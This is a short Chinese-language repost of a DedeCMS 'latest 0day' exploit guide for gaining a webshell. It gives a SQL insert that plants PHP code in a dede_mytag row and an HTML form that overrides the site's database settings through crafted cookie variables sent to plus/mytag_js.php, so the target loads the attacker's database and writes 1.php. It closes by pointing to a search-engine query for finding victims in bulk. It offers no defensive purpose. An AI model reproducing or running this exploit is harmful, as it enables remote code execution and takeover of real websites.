拿webshell的方法如下： 網(wǎng)傳的都是說(shuō)要知道后臺(tái)才能利用，但不用，只要 plus 目錄存在，服務(wù)器能外連，就能拿shell. 前題條件，必須準(zhǔn)備好自己的dede數(shù)據(jù)庫(kù)，然后插入數(shù)據(jù)： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}''); 再用下面表單提交，shell 就在同目錄下 1.php。原理自己研究。。。 <form action="" method="post" name="QuickSearch" id="QuickSearch" οnsubmit="addaction();"> <input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br /> <input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br /> <input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br /> <input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br /> <input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br /> <input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br /> <input type="text" value="true" name="nocache" style="width:400"> <input type="submit" value="提交" name="QuickSearchBtn"><br /> </form> <script> function addaction() { document.QuickSearch.action=document.QuickSearch.doaction.value; } </script> 至于批量的方法自己去 谷歌搜索 "Powered by dedecms"

轉(zhuǎn)載于:https://www.cnblogs.com/mrjim/archive/2011/08/12/4475237.html

總結(jié)

以上是生活随笔為你收集整理的dedecms织梦最新0day的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。